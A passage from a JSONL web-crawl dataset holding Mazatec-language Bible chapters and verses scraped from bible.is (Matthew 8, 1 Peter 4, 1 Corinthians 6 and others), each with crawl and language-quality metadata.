8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/8","date":"2013-12-12T19:13:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164677368\/warc\/CC-MAIN-20131204134437-00086-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":0.999997735,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 0.9999977350234985}","num_words":392,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.291,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"11Jñà xi̱ta̱ kìi̱ mejèn‑la̱ nga nda ske̱, mé ni̱chjin‑ni ko̱ka̱ma ko̱ kó'sín ko̱ma‑la̱ kjoa̱ kìi̱ koni 'sín nga ijye i̱nchisíchi̱ya‑la̱ jè Inìma̱ Tsje‑la̱ Cristo ra tíjnajin ya̱ inìma̱‑la̱, nga̱ tje̱n isìchi̱yaá‑la̱ a̱'ta 'tse̱ kjo̱hi'in ra tjínè‑la̱ nga ko̱tojin jè Cristo, ko̱ kó'ki kjoa̱jeya 'se̱‑la̱ a̱skan‑nioo̱.\n1 Pedro 1:11\nOne App.\n844 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/1\/11","date":"2013-12-05T01:41:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037952\/warc\/CC-MAIN-20131204131717-00038-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":26,"top_langs":"{\"maa_Latn_score\": 1.0000032186508179}","num_words":49,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.286,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8Tsa yá ra mì kì síkinda̱ xi̱ta̱ xákjén nga ko̱si̱ko̱, ma'tsia̱ ítjòn‑ni jñà ra ya̱ títsa̱jnako̱ ni'ya‑la̱, tsa mì ko̱'sín ko̱si̱ko̱ xákjén, mì kì i̱nchisíhitjasòn 'én ra makjiín‑la̱ a̱'ta 'tse̱ Cristo. Isa̱á 'cho i̱nchisíkítsa̱jna‑ni ijo‑la̱ nda mí 'koa̱‑ni koni jñà xi̱ta̱ ra mì kì makjiín‑la̱ 'én‑la̱ Nainá.\n1 Timoteo 5:8\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Tim\/5\/8","date":"2013-12-09T23:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164000905\/warc\/CC-MAIN-20131204133320-00067-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000054836273193}","num_words":51,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.314,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga itjojen‑ne Jesús ya̱ i̱sò'nga nindoò, kjìn xi̱ta̱ j'iìtji̱ngui‑la̱. 2Jngoò xi̱ta̱ xi tíbindojno chrjoa̱ yijo‑la̱ ijchòkon koa̱ tsasìxkó'nchit'aà‑la̱, kitsò‑la̱: ―Na̱'èn, tsà mejèn‑lè, ti̱tsjeè‑ná ch'in xi tjín‑na. 3Jesús, k'e̱é tsijmeé tsja nga tsohót'aà‑la̱ yijo‑la̱ xi̱ta̱ jè, kitsò‑la̱: ―Mejèn‑na, kàtandaà‑ne yijo‑lè. K'e̱ nga o̱kitsò Jesús, ni̱to̱ón kjòndaà‑ne. 4K'e̱é kitsò‑la̱ Jesús: ―Ti̱ná'yi, kì yá xi̱ta̱ xi bèno̱jmí‑la̱. T'in ñánda tíjna no̱'miì, ta̱kó‑la̱ yijo‑lè nga jyeé kjòndaà‑ne; koa̱ jch'i̱i kjo̱tjò‑lè, tsojmì xi síjé kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mé‑ne nga kàteè‑ne jñà xi̱ta̱ nga jyeé kjòndaà‑ne ch'in‑lè. 5K'e̱ nga jahas'en Jesús ya̱ na̱xa̱ndá Capernaum, jngoò xi̱ta̱ sko̱‑la̱ soldado ts'e̱ Roma ijchòkon, kisìjé‑la̱ kjo̱ndaà. 6Kitsò‑la̱: ―Na̱'èn, xi̱ta̱ chi̱'nda‑na̱ kijna‑né ján ni'ya‑na̱. Tsí 'ñó xk'én koa̱ tífa kjo̱'in nga mìkiì ma síhiníyá yijo‑la̱. 7Jesús kitsò‑la̱: ―Ko̱ma kjísìndaà‑na. 8Jè xi̱ta̱ sko̱‑la̱ soldado kitsò: ―Na̱'èn, mìkiì ok'ìn‑na nga ngaji̱ k'oín sobì ni'ya‑na̱, ta̱ sa̱á tjiì o̱kixi̱ nga kàtandaà‑ne, koa̱ ko̱ndaà‑ne chi̱'nda‑na̱. 9'A̱n, tíjiìn‑na nga tjín‑lè kjo̱tíxoma. Ti̱koa̱á 'a̱n, tjín‑na xi̱ta̱ ítjòn xi otíxoma‑na, ti̱koa̱á tjín‑na soldado xi 'a̱n otiìxoma‑la̱, k'e̱ nga xan jngoò‑la̱: \"T'in\", fì‑né; xan‑la̱ xi ìjngoò: \"Nchroboí\", nchrobá‑né; koa̱ k'e̱ nga xan‑la̱ jè xi chi̱'nda‑na̱: \"K'oa̱ t'i̱in\", síkitasòn‑na. 10K'e̱ nga kiì'nchré Jesús jñà 'én koi, tà kjòxkón‑la̱. Kitsò‑la̱ jñà xi̱ta̱ xi tji̱ngui‑la̱: ―O̱kixi̱í xi xan‑nò, ya̱ Israel ni̱ sa̱á jngoò xi̱ta̱ sakó‑na xi k'oa̱s'ín ndaà mokjeiín‑la̱ koni jè xi̱ta̱ jè. 11K'oa̱á xan‑nò, kjìn xi̱ta̱ kjoi̱í‑ne nga ñijòn chrja̱ngui̱‑la̱ i̱sò'nde xi ko̱kje̱n‑ko̱ Abraham ko̱ Isaac ko̱ Jacob ya̱ ngajmiì ñánda tíhotíxoma Nainá. 12Ta̱nga jñá xi̱ta̱ xi tjín‑ne nga ya̱ kítsa̱jna ñánda ko̱tìxoma Nainá, ki̱tjokàjiìn‑né; ján kjoi̱ ndi̱tsin ñánda jñò choòn, ko̱ ya̱á ski̱ndàya koa̱ si̱ìjts'iìn ni̱'ño̱. 13K'e̱é kitsò‑la̱ Jesús jè xi̱ta̱ sko̱‑la̱ soldado: ―T'in‑ne ni'ya‑lè; koni s'ín nga ndaà mokjeiín‑lè, k'oa̱á s'ín ko̱ma. Jè chi̱'nda‑la̱ ti̱k'e̱é kjòndaà‑ne. 14Jesús kiì ni'ya‑la̱ Pedro koa̱ kijtseè na̱chíya‑la̱ nga kijna xk'én; ch'in tìjnga tjín‑la̱. 15Jesús tsohót'aà‑la̱ tsja jè chjo̱ón, ni̱to̱ón kjòndaà‑ne ch'in tìjnga‑la̱, tsasítje̱n‑ne jè chjo̱ón, i̱kjoàn kisìs'in‑la̱ Jesús. 16K'e̱ nga jye kòjñò, kjìn xi̱ta̱ xk'én j'iìko̱‑la̱ Jesús xi ini̱ma̱ ch'o‑la̱ nei̱í tjín‑la̱. Jesús tà jngoò o̱kixi̱ kitsjaà nga tsatíxoma‑la̱ mé‑ne nga itjokàjiìn‑ne ini̱ma̱‑la̱ jñà xi̱ta̱ ngats'iì ini̱ma̱ ch'o‑la̱ nei̱í, koa̱ kjòndaà yije‑ne xi̱ta̱ xk'én. 17Kjoa̱ koi koni s'ín komà, koií tsitasòn koni kitsò Isaías xi̱ta̱ xi kiìchja̱ ngajo‑la̱ Nainá k'e̱ nga kitsò: \"Jè jaàxìn ch'in‑ná ko̱ jè kisìkjeiín kjo̱'in nga kjòndaà‑ne ñánda kitsì'on yijo‑ná.\" 18K'e̱ nga kijtseè Jesús nga kjìn ma‑ne xi̱ta̱ xi kitseèndiì‑la̱, kitsjaà‑la̱ o̱kixi̱ xi̱ta̱ xi kota'yàt'aà‑la̱ nga kiì ján xijngoaà ndáchikon. 19K'e̱é j'iì jngoò xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, ijchòkon Jesús, kitsò‑la̱: ―Maestro, kjítji̱ngui‑lè ni̱ta̱ ñánda nga k'oín. 20Jesús kitsò‑la̱: ―Jñà ni̱nda̱ tjín‑la̱ nguijo ñánda oyijò, koa̱ jñà ni̱se tjín‑la̱ tjé, ta̱nga 'a̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱, tsjìn‑na i̱'nde ñánda síkjáya. 21Ìjngoò xi̱ta̱ xi kota'yàt'aà‑la̱ kitsò‑la̱: ―Na̱'èn, tjiì'nde‑ná nga ítjòn kjián kìhijñaà na̱'èn‑na̱. 22Jesús kitsò‑la̱: ―Ji̱, nchrobátji̱ngui‑ná, jñà mik'en kàtìhijiìn mik'en‑la̱. 23Jahas'en Jesús jè chitso; kjihijtako̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱. 24Tà ni̱to̱ón tsatsejèn jngoò tjo̱xkón ko̱ jtsí ya̱ i̱jiìn ndáchikon, ko̱ jè ndáchikon ta̱xki̱ komà‑né, mejèn bíjtsa'ma jè chitso. Ta̱nga jè Jesús kjinafé‑né. 25Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ k'e̱é kiìkon nga kisìkjaá‑la̱ Jesús, kitsò‑la̱: ―Na̱'èn, ti̱kinda̱‑náje̱n. Jye titsa̱bixònguindá. 26Kiìchja̱ Jesús kitsò: ―¿Mé‑ne tsakjoòn‑nò? 'Ñó chiba mokjeiín‑nò xi i̱t'aà ts'a̱n. K'e̱é tsasítje̱n Jesús, tsohótiko̱ tjo̱xkón ko̱ ndáchikon koa̱ ni̱to̱ón kisijyò‑ne tjo̱ koa̱ kjòndaàya‑ne. 27Koa̱ jñà xi̱ta̱ xi kota'yàt'aà‑la̱ tà kjòxkón‑la̱, kitsò: ―Yá xi̱ta̱‑ne jè skanda jè tjo̱ ko̱ ndáchikon síkitasòn‑la̱. 28K'e̱ nga ijchò Jesús ján xijngoaà ndáchikon ya̱ nangui Gadara, jò xi̱ta̱ ijchò kinchat'aà‑la̱ xi ya̱ itjo‑ne ya̱ ñánda sihijiìn mik'en. Ini̱ma̱ ch'o‑la̱ nei̱í tjín‑la̱. 'Ñó jchán ts'e̱n, kjaán‑ko̱‑ne tsà yá xi ya̱ kjoa̱haya ndi̱yá. 29'Ñó kiìchja̱ nga kitsò: ―¿Mé xi mejèn‑lè ko̱ ngaje̱n, ji̱ xi Ki'ndí‑la̱ Nainá 'mì‑lè? ¿A koií xá kòf'i̱‑ne nga jcha̱toòn‑náje̱n k'e̱ nga ti̱kj'eè bijchó na̱chrjein‑la̱ kjo̱'in? 30Ya̱ chrañàt'aà‑la̱ kjìn jchán chi̱nga̱ nchikjèn‑jno, 31koa̱ jñà ini̱ma̱ ch'o‑la̱ nei̱í tsibítsi'ba‑la̱ Jesús, kitsò‑la̱: ―Tsà ki̱nachrjekàjiìn‑náje̱n, tjiì'nde‑náje̱n nga ki̱tjás'e̱n‑jiìn‑je̱n yijo‑la̱ chi̱nga̱ koi. 32Jesús kitsò‑la̱: ―Ndaà tjín, tanguió. I̱kjoàn itjojiìn yijo‑la̱ jñà xi̱ta̱ koi, k'e̱é jahas'en‑jiìn yijo‑la̱ jñà chi̱nga̱, koa̱ ngats'iì chi̱nga̱ tsatíkjájen‑jno ya̱ na̱xi̱ skanda i̱jiìn ndáchikon ko̱ ya̱á k'en. 33Jñà xi̱ta̱ xi ko'ndà chi̱nga̱ tsanga; k'e̱ nga ijchò i̱jiìn na̱xa̱ndá, tsibéno̱jmí yije kjoa̱ xi komà ko̱ kjoa̱ xi komàt'in jñà xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. 34K'e̱é ijchò ngats'iì xi̱ta̱ na̱xa̱ndá ñánda tíjna Jesús; k'e̱ nga kijtseèxkon tsibítsi'ba‑la̱ nga xìn nangui kàtjì.\nSan Mateo 8","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/8","date":"2013-12-11T13:35:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164036943\/warc\/CC-MAIN-20131204133356-00047-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000067949295044}","num_words":703,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.282,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koni 'sín nga isìkjiín kjo̱hi'in ijo‑la̱ Cristo, machjeén‑te nga 'koa̱ ti̱'sín titsa̱jnanda jiòn nga si̱kjioón mé kjo̱hi'in ra ska̱jiòn. Nga̱ jè ra ijye isìkjiín kjo̱hi'in ijo‑la̱, ijyeé isikijne‑la̱ kjoa̱ 'tse̱ jé. 2Ko̱ kií ko̱'sín machjeén‑ni nga ko̱'sín ti̱jchá ijo‑no jñà ni̱chjin ra kitsa̱jna‑isa koni 'sín nga Nainá mejèn‑la̱, ko̱ mì tsa ti̱ ko̱'sín 'sia̱an‑no koni 'sín tjín kjoa̱ ra sasén‑la̱ ijo jé‑no. 3Ijyeé inìkato‑jiòn chi̱ba̱‑la̱ nga ko̱'sín ta 'cho ki'nià koni xi̱ta̱ ra mì bexkon Nainá. Nga̱ ya̱á tsikìtsa̱jnajion kjoa̱'cho ra ya̱ itsabá'ñó ijo‑no, ko̱ jè tsakjàtsji jiòn kjoa̱'cho ra sasén‑la̱ ijo‑no, ko̱ kjoa̱'chi̱, ko̱ 'sí ra 'ñó 'cho tjín, ko̱ ñánda̱ nga inìkato‑nájiòn chi̱ba̱‑la̱ 'kia̱ nga ta xán ki'yò ki'ta, ko̱ ti̱'koa̱á kijchaxkón jiòn nainá xkósòn ra jtike Na̱'ín‑ná. 4'Ndi̱ 'ndi̱‑ni̱ jñà xi̱ta̱ kìi̱, 'choó ma‑la̱ 'kia̱ nga mì ti̱ ya̱ fahijtako̱‑najiòn koni 'sín tjín kjoa̱'cho ra i̱nchisíjchájin ijo‑la̱; 'koa̱á ma‑ni nga 'cho tsò‑najiòn. 5Tanga jñà xi̱ta̱ kìi̱, ya̱á tjínè‑la̱ nga tsjá‑la̱ kinda̱ mé ni̱chjin‑nioo̱, jè Na̱'ín‑ná ra ijye tíjnanda nga ki̱ìndajín kjoa̱ 'tse̱ jé‑la̱ jñà xi̱ta̱ ra títsa̱jnakon‑isa ko̱ ra ijye 'ken. 6'Koa̱á ma‑ni, nga skanda jñà xi̱ta̱ ra ijye 'ken, ki'sena̱jmíya‑la̱ jè 'én xi̱tse̱ ra nda tsò, mé‑ni ni̱'sín jñà ijo‑la̱ tse kjo̱hi'in kisìkjiín, koni 'sín nga tsikíndajín‑la̱ xi̱ta̱ i̱sà'nde, tanga jñà inìma̱‑la̱ títsa̱jnakon‑ní koni 'sín nga jè Nainá tíjnakon. 7Tanga ijyeé tímachraña‑ní nga kje̱he'tà ni̱chjin‑la̱ nga'tsì tsajmì ra tjín, 'koa̱á ma‑ni nga machjeén‑ní nga nda kjón 'tè takòn ko̱ ngi ta jè tjà'tà takòn ki'ta nga ti̱nákjoa̱'ta‑la Nainá. 8Jè kjoa̱ ra 'ñó tíjna ítjòn, jè‑ní nga 'ñó kata'se‑no kjoa̱tsjacha ra a̱'ta 'tse̱ xàngio̱o; nga̱ tsa tjín‑no kjoa̱tsjacha, maá‑no si̱jcha'ta‑la xàngio̱o ta mé jé‑nioo̱. 9Nda ti̱sin‑la nga jngó jngó xàngio̱o 'kia̱ nga ya̱ ki̱jchòjkon‑no ya̱ ni'ya‑no; kì tà chjàn yá xàngio̱o ra 'cho chibàya‑no. 10Nga jngó jngó‑najiòn ko̱'sín 'tiì‑la ndsa̱à xàngio̱o nga ti̱si̱ko̱'ta koni 'sín tjín kjo̱nda ra jè Nainá títsjá‑no. Ko̱'sín kata'ya‑la̱ nga ndaá i̱nchinìchjeén jiòn kóhotjín sko̱ya tjín‑ni jè kjo̱nda ra jè Nainá tsjá. 11Jè ra ko̱'sín ki'tsì‑la̱ nga 'én‑la̱ Nainá ki̱chja̱ya, ko̱'sín 'én‑la̱ Nainá katachja̱ya. Ko̱ jè ra ko̱'sín ki'tsì‑la̱ nga ma‑la̱ ko̱si̱ko̱'ta xi̱ta̱, ko̱'sín kata'sín koni 'ki nga'ñó ra tsjá‑la̱ Nainá, mé‑ni ko̱'sín jè Nainá jeya kíjna‑ni a̱'ta 'tse̱ Jesucristo ra 'tse̱ kjoa̱jeya ko̱ nga'tsì nga'ñó ra tjín skanda ni̱ ta kjiá‑nioo̱. Ko̱'sín katama. 12Jiòn ndí 'ndsè ra 'ñó matsjake‑no, kì tà chjàn maxkón‑najiòn nga ko̱tjín kjo̱hi'in i̱nchibatojion nga i̱nchitjá'ta. Kì tà chjàn bixó jiòn, ¿mé‑ni ko̱tjín kjo̱xkón i̱nchikajin‑ná? 13Ta isa̱á 'ñó tsja kata'se‑najiòn nga ti̱'koa̱á ti̱jé‑ni kjo̱hi'in tíkajin jiòn koni jè kjo̱hi'in ra tsatojin jè Jesucristo, mé‑ni nga ti̱'koa̱á 'ñó 'se̱‑la̱ kjo̱tsja jè inìma̱‑najiòn 'kia̱ nga ko̱tsíjen kjoa̱jeya‑la̱ Cristo. 14Mé ta̱ tsja‑najiòn tsa 'kia̱ yá ra chja̱jno‑no ra ta nga̱tjì‑la̱ Cristo, nga̱ jè Inìma̱ Tsje‑la̱ Nainá ra 'ñó jeya tíjna ya̱á tíjnako̱ ki'ta‑najiòn nga ni̱chjin nchijòn. 15Kixi̱í kjoa̱ tsa xi̱ta̱ nì'ken, tsa chijé 'nià, tsa 'ñó 'cho 'nià, ko̱ tsa ya̱ tsjajin tsja'a kjoa̱ ra tjín‑la̱ xi̱ta̱, bakén‑no nga kata'bì‑no kjo̱hi'in. Ti̱kinda̱a ijo‑no nga mì ko̱tjín kjoa̱ ska̱jiòn. 16Tanga tsa ta kií kjoa̱‑la̱ nga kjo̱hi'in i̱nchikajin jiòn, nga xi̱ta̱‑la̱ Cristo ma jiòn, kì tà chjàn masabà‑no; ta isa̱á jeya ti̱kíjna jiòn jè Nainá nga ko̱'sín 'yaxkon‑no. 17Nga̱ ijyeé ijchó chi̱ba̱‑la̱ nga ya̱ ki̱ì'tsia̱‑ni Nainá nga ki̱ìndajín‑la̱ na̱xi̱ndá‑la̱. Tsa ko̱'sín jién ki̱ì'tsia̱ko̱‑ná Nainá nga ki̱ìndajín‑ná ra na̱xi̱ndá‑la̱ tsó‑ná, kó'sín ko̱ma'tin jñà ra majìn‑la̱ síhitjasòn 'én nda‑la̱ Nainá. 18Tsa jñà ra xi̱ta̱ kixi̱, i'iín bitjojin‑ni kjo̱hi'in, ¿kó'sín ko̱ma'tin‑ni̱ jñà xi̱ta̱ ra mì bexkón Nainá ko̱ jñà ra jé títsa̱jin? 19Tsa 'koa̱á 'sín mejèn‑la̱ Nainá nga si̱kjiín jiòn kjo̱hi'in, jé ti̱nga̱tsja inìma̱‑no ko̱ ti̱hitjasòn‑la, nga jé tsikínda ijye ta mé ra tjín ko̱ síhitjasòn ra jè koni 'sín ijye kitsjà 'én‑la̱.\n1 Pedro 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Pet\/4","date":"2013-12-07T06:07:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163053608\/warc\/CC-MAIN-20131204131733-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":597,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn, tsa 'kia̱ mé kjoa̱ ra tjín‑no ko̱ xi̱ta̱ xàngio̱o, ¿kó tsò takòn jiòn nga jñà xi̱ta̱xá‑la̱ xi̱ta̱ i̱sà'nde níjé‑la nga kátíndajín‑no? ¿Mé‑ni mì tsa jñà níjé‑la xi̱ta̱ na̱xi̱ndá‑la̱ Cristo nga jñà kátíndajín‑no? 2¿A mí 'ya jiòn, nga jién‑ná ra xi̱ta̱ na̱xi̱ndá‑la̱ Cristo 'mì‑ná kíndajín‑lá jñà xi̱ta̱ i̱sà'nde? Ko̱ tsa jién bako̱‑ná nga kíndajín‑lá ra xi̱ta̱ i̱sà'nde, ¿a mí ma‑no ra jiòn nga bindajín‑la xàngio̱o kjoa̱ ra ta chiba chjá tjín ni̱chjin 'ndi̱? 3¿A mí tsa ijye tjíjin‑no nga skanda jién kíndajín‑te‑lá jñà ìkja̱li̱? Tsa 'koa̱á 'sín jién bako̱‑ná nga kíndajín‑lá jñà ìkja̱li̱, ¿a ta jñá kjoa̱ ra ma i̱ i̱sà'nde mì kì ma‑ná kíndajién? 4Tsa ta kií kjoa̱ ra tjín ki'ta ya̱ i̱sà'nde tjín‑najiòn, ko̱ jiòn ra títsa̱hijyo ítjòn mì kì ma‑no bindajión, ¿mé‑ni nga jñà 'nià‑no xi̱ta̱xá‑no jñà ra mì tsa ya̱ 'ñó títsa̱jna ya̱ a̱jin na̱xi̱ndá‑la̱ Nainá? 5Kií ko̱'sín tíxin‑no mé‑ni nga katasabà‑no. ¿A sí mí tíjnajin jngo‑najiòn ra xi̱ta̱ xàngio̱o ra tjín‑la̱ kjo̱bítsjen nga ko̱ma‑la̱ ki̱ìndajín‑no ra 'ndsè chibà? 6Mì tsa tà jè‑jìn nga ti̱jiòn bixkàn‑ko̱o‑no xàngio̱o, skanda ya̱á mahíko̱o kjo̱si ra tjín‑no ya̱ ngixko̱n xi̱ta̱xá ra mì tsa ya̱ makjiín‑la̱ a̱'ta 'tse̱ Cristo. 7Jngo kjoa̱ ra 'ñó 'cho tjín koni 'sín nga i̱nchima'tin jiòn nga ti̱jiòn bixkàn‑kjo‑no. ¿Mé‑ni mì tsa ta nìkjiín‑no 'kia̱ nga kó nìko̱‑no, ko̱ tsa tà jyò bìtsa̱jna 'kia̱ nga machijé‑no? 8Tanga jiòn, ta isa̱á 'ñó 'cho tjín kjoa̱ ra 'nià; ko̱ skanda ti̱jión nichijé‑la xàngio̱o ra 'ndsè chibà. 9¿A mí 'ya jiòn nga jñà xi̱ta̱ ra mì tsa kjoa̱kixi̱ 'sín, mì kì ma kjoa̱ha'sen‑jin ya̱ i̱'nde ñánda̱ tíbatéxoma Nainá? Jñà ra xi̱ta̱ chijngi, jñà ra ta xkósòn 'tse̱ xi̱ta̱ bexkón koni tsa nainá, jñà xi̱ta̱ ra ijye ixan ko̱ takó kjoa̱chijngi 'sín, ko̱ jñà xi̱ta̱ 'xi̱n ra ti̱ xi̱ta̱ 'xi̱n xákjén fahijoko̱‑nì, 10jñà ra xi̱ta̱ chijé, jñà ra mejèn‑la̱ nga tse 'se̱‑la̱ tsajmì, jñà ra xi̱ta̱ 'chi̱, jñà ra chja̱jno‑la̱ xi̱ta̱ xákjén, ko̱ jñà xi̱ta̱ ra konda̱cha̱‑la̱ xákjén nga síchijé‑la̱; kì tà chjàn bìndo̱cha̱‑la ijo‑no, nga̱ ni̱jngo xi̱ta̱ ra ko̱tjín kjoa̱'cho 'sín ko̱ma ki̱jchò ya̱ ñánda̱ tíbatéxoma Nainá. 11'Koa̱á kjòn i'ka jiòn nga ti̱'sa̱ kjotseé, tanga 'ndi̱ 'ndi̱ jè Nainá ijyeé tsiníjno jè jé‑najiòn, ko̱ ijyeé tsikítsa̱hijyo'taxìn‑no ra a̱'ta 'tse̱ jé, ijyeé xi̱ta̱ kixi̱ ki'sìn‑no; ngi ko̱ó nga'ñó‑la̱ Jesucristo ra tíjna ítjòn‑ná ko̱ nga'ñó 'tse̱ Inìma̱ Tsje‑la̱ Nainá nga ko̱'sín kisìko̱‑no. 12Tjín i'ka jiòn ra bixó: \"Maá 'siaa̱n tà mé ra mejèn‑na.\" Kixi̱í kjoa̱, ma‑ní, tanga mì tsa ta nga'tsì‑ni kjoa̱ nga kjen ndi̱yá‑ná; 'koa̱á ma‑ni nga mì kì tsja'ndé‑la̱ ijo‑na̱ ñáa̱ kjoa̱ ra si̱ìkijne‑na. 13Tsó 'én ra tjín: \"Tsajmì ra chineé, 'tse̱é i̱ndsi̱'bé ko̱ jè i̱ndsi̱'bé, jè machjeén‑la̱ tsajmì ra chineé.\" Tanga ta ngajòo̱, jè Nainá si̱ikjehe'ta ni̱chjin‑la̱. Tanga jè ijo‑ná, mì tsa ki xá‑la̱ nga kjoa̱chijngi 'sie̱én, kií xá‑la̱ nga a̱'ta 'tse̱ Nainá si̱chjeén, nga̱ jè ijo‑ná, 'tse̱é Nainá. 14Koni 'sín ki'sìn Nainá, nga isikjaáya‑la̱ jè Na̱'ín‑ná Jesús, 'koa̱á ti̱'sín ngi ko̱ó nga'ñó‑la̱ nga si̱ìkjaáya‑ná ra jién. 15¿A mí tjíjin‑najiòn nga jè ijo‑ná ya̱á majngoko̱ ijo‑la̱ Cristo? ¿A maá si̱chjeén jè ijo‑la̱ Cristo nga ya̱ si̱jngoke̱é ya̱ ijo‑la̱ jngo chjo̱ón skáya? Majìn, mì kì ko̱ma. 16Ko̱, ¿a mí tjíjin‑najiòn? Tsa 'kia̱ jngo xi̱ta̱ 'xi̱n, jngo chjo̱ón skáya kjójnako̱, jngoó ijo ma‑ni. Nga̱ 'koa̱á 'sín tíchja̱ Xa̱jo̱n‑la̱ Nainá nga tsò: Ta jngoó ijo ka̱ma‑ni ngajòo̱. 17Tanga jè xi̱ta̱ ra jè Na̱'ín‑ná tíjnakjo‑ko̱, ta jngoó inìma̱ tsje ma‑ni. 18Ti̱ncha'tàxìn‑la kjoa̱chijngi ra síjé ijo‑no. Ta mé‑isa jé ra bátsji xi̱ta̱, mì tsa ijo‑la̱ beton; tanga jè xi̱ta̱ ra kjoa̱chijngi 'sín, jè ijo‑la̱ beton. 19¿A mí 'ya jiòn nga jè ijo‑najiòn jè ma ni'ya‑la̱ Inìma̱ Tsje‑la̱ Nainá ra jè Nainá kisìnga̱tsja‑najiòn nga ya̱á tíjnajin ya̱ inìma̱‑no? Jè ijo‑najiòn, mì tsa ti̱ tsa̱jión‑nájiòn. 20Jè Nainá ijyeé xá tsatse‑najiòn, ijyeé tse tsikíchjítjì‑no; 'koa̱á ma‑ni jè Nainá jeya ti̱kíjna jiòn ra a̱'ta 'tse̱ ijo‑no, nga̱ jè Nainá, ijyeé jè chja̱'nda‑no.\n1 Corintios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1Cor\/6","date":"2013-12-06T01:51:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163048970\/warc\/CC-MAIN-20131204131728-00093-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000009536743164}","num_words":625,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.336,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ra kjomà a̱skan, kjín na̱xi̱ndá i'i ko̱ kjín na̱xi̱ndá i̱tsíñá tsajme Jesús, nga tsi'kéna̱jmíya ko̱ isìka'bí 'én xi̱tse̱ ra nda tsò, kó'sín batéxoma Nainá. Tje̱n‑ko̱ xi̱ta̱‑la̱ ra tejò ma‑ni. 2Ko̱ tje̱n‑ko̱ i'ka íchjín ra kjonda‑ni 'chin 'tse̱ ni̱í ko̱ ra kj'ií 'chin‑isa: jè María ra Magdalena 'mì, ra ito inìma̱ 'cho‑la̱ ni̱í itjojin‑ni ijo‑la̱; 3ko̱ Juana, chjo̱ón‑la̱ Chuza ra síkinda̱ tsajmì ra tjín‑la̱ Herodes; ko̱ jè ra 'mì Susana. Kjín íchjín tje̱n‑ko̱‑isa ra basìko̱'ta mé tsajmì ra tjín‑la̱. 4'Kia̱ nga ijye kjokjìn xi̱ta̱ ra jndíi̱ ra ján na̱xi̱ndá 'ji‑ni, Jesús, tsi'kéna̱jmí‑la̱ jngo‑la̱ kjoa̱ ra mangásòn. Kitsò‑la̱: 5―Jngo xi̱ta̱ kijì nga kiì kjíjndi̱ xojmá. 'Kia̱ nga tíkjíjndi̱, tjín i'ka xojmá ra iskatsajo ya̱ a̱ya ndi̱yá; a̱kjòn tsinchanè xi̱ta̱; ko̱ jñà ni̱se iskine. 6Ngi ko̱tjín iskatsajo ñánda̱ a̱sòn na̱jo̱, 'kia̱ nga isò xojmá, sasaá kixì, ta nga̱tjì‑la̱ nga mì kì 'nchi̱'nde nangi. 7Ngi ko̱tjín iskatsajo ya̱ a̱jin na'yá; ko̱ ya̱á ta̱ña isòko̱. 'Kia̱ 